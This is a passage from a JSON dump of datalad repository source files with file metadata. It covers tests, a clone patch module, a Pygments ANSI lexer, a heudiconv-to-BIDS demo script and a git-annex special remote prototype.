>>foo\\\")\\n with open(op.join(ds.path, \\\"non-run\\\"), \\\"w\\\") as nrfh:\\n nrfh.write(\\\"non-run\\\")\\n ds.save()\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"-b\\\", \\\"topic-1\\\"])\\n ds.run(\\\"echo bar >bar\\\")\\n ds_repo.checkout(DEFAULT_BRANCH + \\\"~\\\", options=[\\\"-b\\\", \\\"topic-2\\\"])\\n ds.run(\\\"echo baz >baz\\\")\\n ds_repo.checkout(DEFAULT_BRANCH)\\n ds_repo.call_git(\\n [\\\"merge\\\", \\\"-m\\\", \\\"Merge octopus\\\", \\\"topic-1\\\", \\\"topic-2\\\"])\\n # o-. f_M\\n # |\\\\ \\\\\\n # | | o e_r\\n # | o | d_r\\n # | |/\\n # o | c_n\\n # |/\\n # o b_r\\n # o a_n\\n\\n ds.rerun(since=\\\"\\\", onto=\\\"\\\")\\n neq_(ds_repo.get_hexsha(\\\"HEAD^3\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"^3\\\"))\\n eq_(ds_repo.get_hexsha(\\\"HEAD~3\\\"),\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"~3\\\"))\\n\\n ds_repo.checkout(DEFAULT_BRANCH)\\n hexsha_before = ds_repo.get_hexsha()\\n ds.rerun(since=\\\"\\\")\\n eq_(hexsha_before,\\n ds_repo.get_hexsha(DEFAULT_BRANCH + \\\"~\\\"))\\n\"\n },\n {\n \"alpha_fraction\": 0.5803374648094177,\n \"alphanum_fraction\": 0.5906089544296265,\n \"avg_line_length\": 31.452381134033203,\n \"blob_id\": \"2d281421c83ef077a1e69c3903da306d10e27d89\",\n \"content_id\": \"2ec5b26ba01a02d2edcac016ccb82e4a0aebcd6b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1363,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 42,\n \"path\": \"/datalad/distributed/tests/test_export_to_figshare.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# -*- coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test export_to_figshare\\\"\\\"\\\"\\n\\nfrom datalad.api import (\\n Dataset,\\n export_archive,\\n)\\nfrom datalad.support import path as op\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.tests.utils_pytest import (\\n eq_,\\n with_tree,\\n)\\n\\nfrom ..export_to_figshare import _get_default_title\\n\\n\\n@with_tree({})\\ndef test_get_default_title(path=None):\\n repo = GitRepo(path)\\n ds = Dataset(path)\\n # There is no dataset initialized yet, so only path will be the title\\n dirname = op.basename(path)\\n eq_(_get_default_title(ds), dirname)\\n\\n # Initialize and get UUID\\n ds.create(force=True)\\n eq_(_get_default_title(ds), '{dirname}#{ds.id}'.format(**locals()))\\n\\n # Tag and get @version\\n # cannot use ds.save since our tags are not annotated,\\n # see https://github.com/datalad/datalad/issues/4139\\n ds.repo.tag(\\\"0.1\\\", message=\\\"important version\\\")\\n eq_(_get_default_title(ds), '{dirname}#{ds.id}@0.1'.format(**locals()))\\n\"\n },\n {\n \"alpha_fraction\": 0.6597825884819031,\n \"alphanum_fraction\": 0.6597825884819031,\n \"avg_line_length\": 25.66666603088379,\n \"blob_id\": \"490863793c1bd0809d9d848c37a4b306a379a100\",\n \"content_id\": \"c78cc99b9a741fddcc567725851adc69b51ff3c6\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1840,\n \"license_type\": \"permissive\",\n \"max_line_length\": 78,\n \"num_lines\": 69,\n \"path\": \"/datalad/core/distributed/clone_ria.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport logging\\nfrom typing import Dict\\n\\nfrom datalad.distribution.dataset import Dataset\\n# For now kept in clone_utils, to avoid circular import (see datalad-next)\\nfrom .clone_utils import (\\n postclone_preannex_cfg_ria,\\n postclonecfg_ria,\\n)\\n\\nfrom . import clone as mod_clone\\n\\n# we need to preserve the original functions to be able to call them\\n# in the patch\\norig_post_git_init_processing_ = mod_clone._post_git_init_processing_\\norig_pre_final_processing_ = mod_clone._pre_final_processing_\\n\\n\\nlgr = logging.getLogger('datalad.core.distributed.clone')\\n\\n\\ndef _post_git_init_processing_(\\n *,\\n destds: Dataset,\\n gitclonerec: Dict,\\n remote: str,\\n **kwargs\\n):\\n yield from orig_post_git_init_processing_(\\n destds=destds, gitclonerec=gitclonerec, remote=remote,\\n **kwargs)\\n\\n # In case of RIA stores we need to prepare *before* annex is called at all\\n if gitclonerec['type'] == 'ria':\\n postclone_preannex_cfg_ria(destds, remote=remote)\\n\\n\\ndef _pre_final_processing_(\\n *,\\n destds: Dataset,\\n gitclonerec: Dict,\\n remote: str,\\n **kwargs\\n):\\n if gitclonerec['type'] == 'ria':\\n yield from postclonecfg_ria(destds, gitclonerec,\\n remote=remote)\\n\\n yield from orig_pre_final_processing_(\\n destds=destds, gitclonerec=gitclonerec, remote=remote,\\n **kwargs)\\n\\n\\ndef _apply():\\n # apply patch in a function, to be able to easily patch it out\\n # and turn off the patch\\n lgr.debug(\\n 'Apply RIA patch to clone.py:_post_git_init_processing_')\\n mod_clone._post_git_init_processing_ = _post_git_init_processing_\\n lgr.debug(\\n 'Apply RIA patch to clone.py:_pre_final_processing_')\\n mod_clone._pre_final_processing_ = _pre_final_processing_\\n\\n\\n_apply()\\n\"\n },\n {\n \"alpha_fraction\": 0.5038935542106628,\n \"alphanum_fraction\": 0.5137897729873657,\n \"avg_line_length\": 31.44210433959961,\n \"blob_id\": \"7f24a7a4798074ad91c40448abffe25afd6c8ad5\",\n \"content_id\": \"205f4dedcd3eda6cf819dc80460801a893a7a450\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6164,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 190,\n \"path\": \"/docs/utils/pygments_ansi_color.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"Pygments lexer for text containing ANSI color codes.\\\"\\\"\\\"\\nfrom __future__ import absolute_import\\nfrom __future__ import unicode_literals\\n\\nimport itertools\\nimport re\\n\\nimport pygments.lexer\\nimport pygments.token\\n\\n\\nColor = pygments.token.Token.Color\\n\\n_ansi_code_to_color = {\\n 0: 'Black',\\n 1: 'Red',\\n 2: 'Green',\\n 3: 'Yellow',\\n 4: 'Blue',\\n 5: 'Magenta',\\n 6: 'Cyan',\\n 7: 'White',\\n}\\n\\n\\ndef _token_from_lexer_state(bold, fg_color, bg_color):\\n \\\"\\\"\\\"Construct a token given the current lexer state.\\n\\n We can only emit one token even though we have a multiple-tuple state.\\n To do work around this, we construct tokens like \\\"BoldRed\\\".\\n \\\"\\\"\\\"\\n token_name = ''\\n\\n if bold:\\n token_name += 'Bold'\\n\\n if fg_color:\\n token_name += fg_color\\n\\n if bg_color:\\n token_name += 'BG' + bg_color\\n\\n if token_name == '':\\n return pygments.token.Text\\n else:\\n return getattr(Color, token_name)\\n\\n\\ndef color_tokens(fg_colors, bg_colors):\\n \\\"\\\"\\\"Return color tokens for a given set of colors.\\n\\n Pygments doesn't have a generic \\\"color\\\" token; instead everything is\\n contextual (e.g. \\\"comment\\\" or \\\"variable\\\"). That doesn't make sense for us,\\n where the colors actually *are* what we care about.\\n\\n This function will register combinations of tokens (things like \\\"Red\\\" or\\n \\\"BoldRedBGGreen\\\") based on the colors passed in.\\n\\n You can also define the tokens yourself, but note that the token names are\\n *not* currently guaranteed to be stable between releases as I'm not really\\n happy with this approach.\\n\\n Usage:\\n\\n fg_colors = bg_colors = {\\n 'Black': '#000000',\\n 'Red': '#EF2929',\\n 'Green': '#8AE234',\\n 'Yellow': '#FCE94F',\\n 'Blue': '#3465A4',\\n 'Magenta': '#c509c5',\\n 'Cyan': '#34E2E2',\\n 'White': '#ffffff',\\n }\\n class MyStyle(pygments.styles.SomeStyle):\\n styles = dict(pygments.styles.SomeStyle.styles)\\n styles.update(color_tokens(fg_colors, bg_colors))\\n \\\"\\\"\\\"\\n styles = {}\\n\\n for bold, fg_color, bg_color in itertools.product(\\n (False, True),\\n {None} | set(fg_colors),\\n {None} | set(bg_colors),\\n ):\\n token = _token_from_lexer_state(bold, fg_color, bg_color)\\n if token is not pygments.token.Text:\\n value = []\\n if bold:\\n value.append('bold')\\n if fg_color:\\n value.append(fg_colors[fg_color])\\n if bg_color:\\n value.append('bg:' + bg_colors[bg_color])\\n styles[token] = ' '.join(value)\\n\\n return styles\\n\\n\\nclass AnsiColorLexer(pygments.lexer.RegexLexer):\\n name = 'ANSI Color'\\n aliases = ('ansi-color', 'ansi', 'ansi-terminal')\\n flags = re.DOTALL | re.MULTILINE\\n\\n def __init__(self, *args, **kwargs):\\n super(AnsiColorLexer, self).__init__(*args, **kwargs)\\n self.reset_state()\\n\\n def reset_state(self):\\n self.bold = False\\n self.fg_color = None\\n self.bg_color = None\\n\\n @property\\n def current_token(self):\\n return _token_from_lexer_state(\\n self.bold, self.fg_color, self.bg_color,\\n )\\n\\n def process(self, match):\\n \\\"\\\"\\\"Produce the next token and bit of text.\\n\\n Interprets the ANSI code (which may be a color code or some other\\n code), changing the lexer state and producing a new token. If it's not\\n a color code, we just strip it out and move on.\\n\\n Some useful reference for ANSI codes:\\n * http://ascii-table.com/ansi-escape-sequences.php\\n \\\"\\\"\\\"\\n # \\\"after_escape\\\" contains everything after the start of the escape\\n # sequence, up to the next escape sequence. We still need to separate\\n # the content from the end of the escape sequence.\\n after_escape = match.group(1)\\n\\n # TODO: this doesn't handle the case where the values are non-numeric.\\n # This is rare but can happen for keyboard remapping, e.g.\\n # '\\\\x1b[0;59;\\\"A\\\"p'\\n parsed = re.match(\\n r'([0-9;=]*?)?([a-zA-Z])(.*)$',\\n after_escape,\\n re.DOTALL | re.MULTILINE,\\n )\\n if parsed is None:\\n # This shouldn't ever happen if we're given valid text + ANSI, but\\n # people can provide us with utter junk, and we should tolerate it.\\n text = after_escape\\n else:\\n value, code, text = parsed.groups()\\n\\n if code == 'm': # \\\"m\\\" is \\\"Set Graphics Mode\\\"\\n # Special case \\\\x1b[m is a reset code\\n if value == '':\\n self.reset_state()\\n else:\\n values = value.split(';')\\n for value in values:\\n try:\\n value = int(value)\\n except ValueError:\\n # Shouldn't ever happen, but could with invalid\\n # ANSI.\\n continue\\n else:\\n fg_color = _ansi_code_to_color.get(value - 30)\\n bg_color = _ansi_code_to_color.get(value - 40)\\n if fg_color:\\n self.fg_color = fg_color\\n elif bg_color:\\n self.bg_color = bg_color\\n elif value == 1:\\n self.bold = True\\n elif value == 22:\\n self.bold = False\\n elif value == 39:\\n self.fg_color = None\\n elif value == 49:\\n self.bg_color = None\\n elif value == 0:\\n self.reset_state()\\n\\n yield match.start(), self.current_token, text\\n\\n tokens = {\\n # states have to be native strings\\n str('root'): [\\n (r'\\\\x1b\\\\[([^\\\\x1b]*)', process),\\n (r'[^\\\\x1b]+', pygments.token.Text),\\n ],\\n }\\n\"\n },\n {\n \"alpha_fraction\": 0.7732600569725037,\n \"alphanum_fraction\": 0.7851648330688477,\n \"avg_line_length\": 83,\n \"blob_id\": \"12b0302fa6a5e7d83e3c075561a787010eb8fac9\",\n \"content_id\": \"2b86628c7f80275d0a2d60c6db47b20b3946a164\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 5460,\n \"license_type\": \"permissive\",\n \"max_line_length\": 312,\n \"num_lines\": 65,\n \"path\": \"/docs/casts/heudiconv_dicom_to_bids.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"full_title=\\\"Demo of automatic conversion of DICOMs into BIDS and managing data using DataLad\\\"\\nrun \\\"set -eu # Fail early if any error happens\\\"\\nsay \\\"Heudiconv (Heuristic DICOM Converter, https://github.com/nipy/heudiconv) now allows to create DataLad datasets with your neuroimaging data as soon as it comes from the MRI scanner.\\\"\\n\\nsay \\\"In this example we will use a heudiconv heuristic developed and used at DBIC (Dartmouth Brain Imaging Center) to have all collected data made available as BIDS datasets. See http://goo.gl/WEoCge describing the naming convention.\\\"\\n\\nsay \\\"We will demonstrate it on some data acquired on a phantom, mimicking multiple studies/subjects/sessions setup, and already available through datalad:\\\"\\nrun \\\"datalad install -r -g -J4 ///dicoms/dartmouth-phantoms/bids_test4-20161014\\\"\\nsay \\\"We will now run heudiconv pointing to DBIC heuristic on data for the first five sessions (could be done one scanning session at a time, or entire directory as well), while instructing heudiconv to place produced data under DataLad control.\\\"\\nsay \\\"First we will download the heuristic file from heudiconv's repository:\\\"\\nrun \\\"wget https://raw.githubusercontent.com/nipy/heudiconv/master/heuristics/dbic_bids.py\\\"\\n\\nsay \\\"and then run heudiconv instructing to process multiple sessions, and place all converted data under a dataset called 'demo' (for the purpose of the demo we will convert only all anatomicals):\\\"\\nrun \\\"heudiconv --bids --datalad -f ./dbic_bids.py -o demo bids_test4-20161014/phantom-[1-5]/*{scout,T1w}*\\\"\\n\\nsay \\\"Heudiconv has created a hierarchy of DataLad datasets, with levels PI/Researcher/study\\\"\\nrun \\\"datalad ls -r demo\\\"\\n\\nsay \\\"where separate scanning sessions detected by heudiconv were contributed as separate commits to the sub-dataset corresponding to the specific study (as discovered from 'Study Description' field in DICOM):\\\"\\nrun \\\"cd demo/Halchenko/Yarik/950_bids_test4\\\"\\nrun \\\"git log --pretty=oneline\\\"\\n\\nsay \\\"Not only that all DICOMs were converted into a BIDS-compliant dataset, this heuristic also provided templates for mandatory files in BIDS format, some of which were placed directly under git to ease modification and integration of changes:\\\"\\nrun \\\"cat dataset_description.json\\\"\\nsay \\\"and you can easily find files/fields which need adjustment with information only you might know (design, author, license, etc) by searching for TODO\\\"\\nrun \\\"git grep TODO\\\"\\nsay \\\"All binary data and otherwise 'sensitive' files (e.g. _scans.tsv files) where placed under git-annex control:\\\"\\nrun \\\"git annex list\\\"\\n\\nsay \\\"Original DICOMS, converted anatomicals (which are not yet defaced), and _scans.tsv files also obtained a meta-data tag to allow easy identification of data which did not go through anonimization step yet and might potentially contain subject-identifying information:\\\"\\nrun \\\"datalad metadata sourcedata/sub-phantom1sid1\\\"\\n\\nsay \\\"These datasets are ready to be installed from this location to the processing box. In the demo we will just perform it on the localhost and only for the current study since sub-datasets are independent of their supers:\\\"\\nrun 'datalad install -g -r -s localhost:$PWD ~/950_bids_test4-process'\\nrun \\\"cd ~/950_bids_test4-process\\\"\\n\\nsay \\\"Data now could be processed/analyzed/etc in this dataset 'sibling'.\\\"\\n\\nsay \\\"According to BIDS derivative (e.g. preprocessed) data should reside under derivatives/, so we create a new subdataset\\\"\\nrun \\\"datalad create -d . derivatives/preprocess1\\\"\\nsay \\\"and do our thorough preprocessing (see http://bids-apps.neuroimaging.io for ready to use pipelines like mriqc and fmriprep), in our case a sample brain extraction:\\\"\\nrun \\\"source /etc/fsl/fsl.sh # to enable FSL on NeuroDebian systems\\\"\\nrun \\\"mkdir -p derivatives/preprocess1/sub-phantom1sid1/ses-localizer/anat/ # create target output directory\\\"\\nrun \\\"bet {,derivatives/preprocess1/}sub-phantom1sid1/ses-localizer/anat/sub-phantom1sid1_ses-localizer_T1w.nii.gz\\\"\\n\\nsay \\\"To keep control over the versions of all data we work with, we add results of pre-processing under DataLad version control\\\"\\nrun \\\"datalad save -m 'added initial preprocessing (well -- BETing output)' derivatives/preprocess1/*\\\"\\nsay \\\"and then also adjust meta-data templates heudiconv pre-generated for us:\\\"\\nrun \\\"sed -i -e 's,First1 Last1,Data Lad,g' -e '/TODO/d' dataset_description.json\\\"\\nsay \\\"We save all so far accumulated changes\\\"\\nrun \\\"datalad save -m 'Finished initial preprocessing, specified PI in dataset description and removed TODOs.'\\\"\\n\\nsay \\\"Whenever more data is acquired, heudiconv conversion could be ran again to complement previously acquired datasets with new data.\\\"\\nrun \\\"cd\\\"\\nrun \\\"heudiconv --bids --datalad -f ./dbic_bids.py -o demo bids_test4-20161014/phantom-[6-9]/*{scout,T1w}*\\\"\\n\\nsay \\\"Now we can go to the processing 'box' again and update the entire hierarchy (in our case actually just one but we could have cloned entire tree for a PI) of the datasets while incorporating with possible changes already done on the processing box, while git would track the entire history of modifications.\\\"\\nrun \\\"cd ~/950_bids_test4-process\\\"\\nrun \\\"datalad update --merge -r\\\"\\nrun \\\"git status # all clear\\\"\\nrun \\\"cat dataset_description.json # and our changes are still in place\\\"\\nsay \\\"Now you could process newly acquired data... rinse repeat, while keeping the full history of actions:\\\"\\nrun \\\"git log --pretty=oneline\\\"\\n\\nsay \\\"See also demos on how data could be exported and/or published whenever you are ready to share it publicly or with your collaborators.\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.6126071214675903,\n \"alphanum_fraction\": 0.616891086101532,\n \"avg_line_length\": 35.31111145019531,\n \"blob_id\": \"41f196400e07289ac88d20bbe279f4b9c433b83a\",\n \"content_id\": \"e575c153886143ecf7c15bfbbced464c911e916c\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1634,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 45,\n \"path\": \"/datalad/coreapi.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Python DataLad core API exposing essential command used by other DataLad commands\\\"\\\"\\\"\\n\\n# Should have no spurious imports/definitions at the module level\\nfrom .distribution.dataset import Dataset\\n\\n\\ndef _generate_func_api():\\n \\\"\\\"\\\"Auto detect all available interfaces and generate a function-based\\n API from them\\n \\\"\\\"\\\"\\n from importlib import import_module\\n\\n # load extensions requested by configuration\\n import datalad\\n if datalad.get_apimode() == 'python':\\n # only do this in Python API mode, because the CLI main\\n # will have done this already\\n from datalad.support.entrypoints import load_extensions\\n load_extensions()\\n\\n from .interface.base import get_interface_groups\\n from .interface.base import get_api_name\\n\\n for grp_name, grp_descr, interfaces in get_interface_groups():\\n for intfspec in interfaces:\\n # turn the interface spec into an instance\\n mod = import_module(intfspec[0], package='datalad')\\n intf = getattr(mod, intfspec[1])\\n api_name = get_api_name(intfspec)\\n globals()[api_name] = intf.__call__\\n\\n\\n# Invoke above helper\\n_generate_func_api()\\n\\n# Be nice and clean up the namespace properly\\ndel _generate_func_api\\n\"\n },\n {\n \"alpha_fraction\": 0.6406118869781494,\n \"alphanum_fraction\": 0.6496227979660034,\n \"avg_line_length\": 25.21977996826172,\n \"blob_id\": \"282c2a22023ec0a9a0d7cd5ee8518a0ef1ff908b\",\n \"content_id\": \"52a3ca940f42651a300c550a7d64a15554cd55e8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 4772,\n \"license_type\": \"permissive\",\n \"max_line_length\": 73,\n \"num_lines\": 182,\n \"path\": \"/sandbox/git-annex-remote-gitobjects\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n#\\tbash - for string indexing\\n#\\n# git-annex external special remote prototype to test feasibility of\\n# using regular git objects and refs to store content of files in remote\\n# git objects store.\\n#\\n# Pros:\\n# - could work with any git repository hosting, even the one which does\\n# not support annex\\n#\\n# Cons:\\n# - at this point it is more of a \\\"proof of concept\\\"\\n# - longevity of those references on the remote is not guaranteed\\n# - it is quite slow, so should be used for relatively small load\\n#\\n# Discussion and possibly more ways it could be improved are available\\n# from https://github.com/datalad/datalad/pull/3727\\n#\\n# Based on an example of git annex special remote, which is\\n# Copyright 2013 Joey Hess; licenced under the GNU GPL version 3 or higher.\\n# Tuned for the gitobjects type remote by Yaroslav Halchenko, 2019-2020\\n#\\n\\nset -e\\n\\n# This program speaks a line-based protocol on stdin and stdout.\\n# When running any commands, their stdout should be redirected to stderr\\n# (or /dev/null) to avoid messing up the protocol.\\nruncmd () {\\n\\techo DEBUG \\\"Running $@\\\"\\n\\t\\\"$@\\\" >/dev/null 2>&1 # &2\\n}\\n\\n# Prevent any gc so we could avoid objects being packed before we get\\n# rid of them\\nrungitcmd () {\\n\\truncmd git -c gc.auto=0 \\\"$@\\\"\\n}\\n\\n# Gets a value from the remote's configuration, and stores it in RET\\ngetconfig () {\\n\\task GETCONFIG \\\"$1\\\"\\n}\\n\\n# Stores a value in the remote's configuration.\\nsetconfig () {\\n\\techo SETCONFIG \\\"$1\\\" \\\"$2\\\"\\n}\\n\\n# Sets ref to the reference to use to store a key.\\ncalcref () {\\n\\tref=\\\"refs/annex-gitobjects/$1\\\"\\n}\\n\\ncalcobjfile () {\\n\\tobjfile=\\\"$gitdir/objects/${h:0:2}/${h:2}\\\"\\n\\techo DEBUG \\\"objfile=$objfile\\\"\\n}\\n\\n# Asks for some value, and stores it in RET\\nask () {\\n\\techo \\\"$1\\\" \\\"$2\\\"\\n\\tread resp\\n\\t# Tricky POSIX shell code to split first word of the resp,\\n\\t# preserving all other whitespace\\n\\tcase \\\"${resp%% *}\\\" in\\n\\t\\tVALUE)\\n\\t\\t\\tRET=\\\"$(echo \\\"$resp\\\" | sed 's/^VALUE \\\\?//')\\\"\\n\\t\\t;;\\n\\t\\t*)\\n\\t\\t\\tRET=\\\"\\\"\\n\\t\\t;;\\n\\tesac\\n}\\n\\ncleanup () {\\n\\t# remove reference and object locally\\n\\trungitcmd update-ref -d \\\"$ref\\\"\\n\\tif [ \\\"$knownobj\\\" = '' ]; then\\n\\t\\trm -f \\\"$objfile\\\"\\n\\tfi\\n}\\n\\ngitdir=$(git rev-parse --git-dir)\\n\\n# This has to come first, to get the protocol started.\\necho VERSION 1\\n\\nwhile read line; do\\n\\tset -- $line\\n\\tcase \\\"$1\\\" in\\n\\t\\tINITREMOTE)\\n\\t\\t\\t# Nothing todo I think\\n\\t\\t\\techo INITREMOTE-SUCCESS\\n\\t\\t;;\\n\\t\\tPREPARE)\\n\\t\\t\\t# TODO: should probably request remote url not already existing\\n\\t\\t\\t# remote... think more, to speed things up, we use existing one\\n\\t\\t\\tgetconfig remote\\n\\t\\t\\tremote=\\\"$RET\\\"\\n\\t\\t\\t# just to check that all is kosher\\n\\t\\t\\tif git remote get-url \\\"$remote\\\" >/dev/null 2>&1; then\\n\\t\\t\\t\\techo PREPARE-SUCCESS\\n\\t\\t\\telse\\n\\t\\t\\t\\techo PREPARE-FAILURE \\\"$remote is either unknown or has no url\\\"\\n\\t\\t\\tfi\\n\\t\\t;;\\n\\t\\tTRANSFER)\\n\\t\\t\\top=\\\"$2\\\"\\n\\t\\t\\tkey=\\\"$3\\\"\\n\\t\\t\\tshift 3\\n\\t\\t\\tfile=\\\"$@\\\"\\n\\n\\t\\t\\tcalcref \\\"$key\\\"\\n\\t\\t\\tcase \\\"$op\\\" in\\n\\t\\t\\t\\tSTORE)\\n\\t\\t\\t\\t\\t# Store the file to a location\\n\\t\\t\\t\\t\\t# based on the key.\\n\\t\\t\\t\\t\\t# We will need to do it twice ATM to make sure that we do\\n\\t\\t\\t\\t\\t# not wipe out object which magically already exists\\n\\t\\t\\t\\t\\th=$(git -c gc.auto=0 hash-object --stdin < \\\"$file\\\")\\n\\t\\t\\t\\t\\tcalcobjfile \\\"$h\\\"\\n\\t\\t\\t\\t\\tknownobj=$( [ -e \\\"$objfile\\\" ] && echo 1 || echo '' )\\n\\t\\t\\t\\t\\techo DEBUG knownobj=$knownobj\\n\\t\\t\\t\\t\\t# now with -w\\n\\t\\t\\t\\t\\trungitcmd hash-object --stdin -w < \\\"$file\\\"\\n\\t\\t\\t\\t\\t# create a reference for that object with the key in it\\n\\t\\t\\t\\t\\trungitcmd update-ref \\\"$ref\\\" \\\"$h\\\"\\n\\t\\t\\t\\t\\t# push that reference (and corresponding object) to the remote\\n\\t\\t\\t\\t\\trungitcmd push \\\"$remote\\\" \\\"$ref:$ref\\\"\\n\\t\\t\\t\\t\\tcleanup\\n\\t\\t\\t\\t\\techo TRANSFER-SUCCESS STORE \\\"$key\\\"\\n\\t\\t\\t\\t\\t# TODO: chain to report TRANSFER-FAILURE\\n\\t\\t\\t\\t;;\\n\\t\\t\\t\\tRETRIEVE)\\n\\t\\t\\t\\t\\t# TODO: we cannot know for sure if object existed prior!\\n\\t\\t\\t\\t\\t# since we don't know object hash. may be we should save\\n\\t\\t\\t\\t\\t# it into the STATE and use that to check first\\n\\t\\t\\t\\t\\tknownobj=''\\n\\t\\t\\t\\t\\t# TODO: interface progress reporting\\n\\t\\t\\t\\t\\trungitcmd fetch \\\"$remote\\\" \\\"$ref:$ref\\\"\\n\\t\\t\\t\\t\\techo DEBUG \\\"getting git hexsha\\\"\\n\\t\\t\\t\\t\\th=$(git -c gc.auto=0 show-ref -s \\\"$ref\\\")\\n\\t\\t\\t\\t\\tcalcobjfile \\\"$h\\\"\\n\\t\\t\\t\\t\\techo DEBUG \\\"cat-file $ref into $file\\\"\\n\\t\\t\\t\\t\\tgit -c gc.auto=0 cat-file -p \\\"$ref\\\" > \\\"$file\\\"\\n\\t\\t\\t\\t\\techo DEBUG done - you must have a file\\n\\t\\t\\t\\t\\tcleanup\\n\\t\\t\\t\\t\\techo TRANSFER-SUCCESS RETRIEVE \\\"$key\\\"\\n\\t\\t\\t\\t\\t# TODO: chain to report TRANSFER-FAILURE\\n\\t\\t\\t\\t;;\\n\\t\\t\\tesac\\n\\t\\t;;\\n\\t\\tCHECKPRESENT)\\n\\t\\t\\t# TODO: ATM expensive since probably fetching a reference\\n\\t\\t\\t# would fetch the object?\\n\\t\\t\\tkey=\\\"$2\\\"\\n\\t\\t\\tcalcref \\\"$key\\\"\\n\\t\\t\\trungitcmd ls-remote --exit-code \\\"$remote\\\" \\\"$ref\\\" \\\\\\n\\t\\t\\t\\t&& echo CHECKPRESENT-SUCCESS \\\"$key\\\" \\\\\\n\\t\\t\\t\\t|| echo CHECKPRESENT-FAILURE \\\"$key\\\"\\n\\t\\t\\trm -f \\\"$gitdir/$ref\\\"\\n\\t\\t;;\\n\\t\\tREMOVE)\\n\\t\\t\\tkey=\\\"$2\\\"\\n\\t\\t\\tcalcref \\\"$key\\\"\\n\\t\\t\\trungitcmd push \\\"$remote\\\" \\\":$ref\\\" \\\\\\n\\t\\t\\t&& echo \\\"REMOVE-SUCCESS $key\\\" \\\\\\n\\t\\t\\t|| echo \\\"REMOVE-FAILURE $key Who knows why?\\\"\\n\\t\\t;;\\n\\t\\tGETINFO)\\n\\t\\t\\techo INFOFIELD \\\"remote\\\"\\n\\t\\t\\techo INFOVALUE \\\"$remote\\\"\\n\\t\\t\\techo INFOEND\\n\\t\\t;;\\n\\n\\t\\t*)\\n\\t\\t\\techo UNSUPPORTED-REQUEST\\n\\t\\t;;\\n\\tesac\\ndone\\n\"\n },\n {\n \"alpha_fraction\": 0.5489262938499451,\n \"alphanum_fraction\": 0.5503652691841125,\n \"avg_line_length\": 36.641666412353516,\n \"blob_id\": \"4f562734c77e116683be290468e3363f21b9f539\",\n \"content_id\": \"69d3859fd102236466f0e26818192934ca32f788\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 9034,\n \"license_type\": \"permissive\",\n \"max_line_length\": 123,\n \"num_lines\": 240,\n \"path\": \"/datalad/support/globbedpaths.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Wrapper for globbing paths.\\n\\\"\\\"\\\"\\n\\nfrom __future__ import annotations\\n\\nimport glob\\nimport logging\\nimport os.path as op\\nfrom functools import lru_cache\\nfrom itertools import chain\\nfrom typing import (\\n Iterable,\\n Optional,\\n)\\n\\nfrom 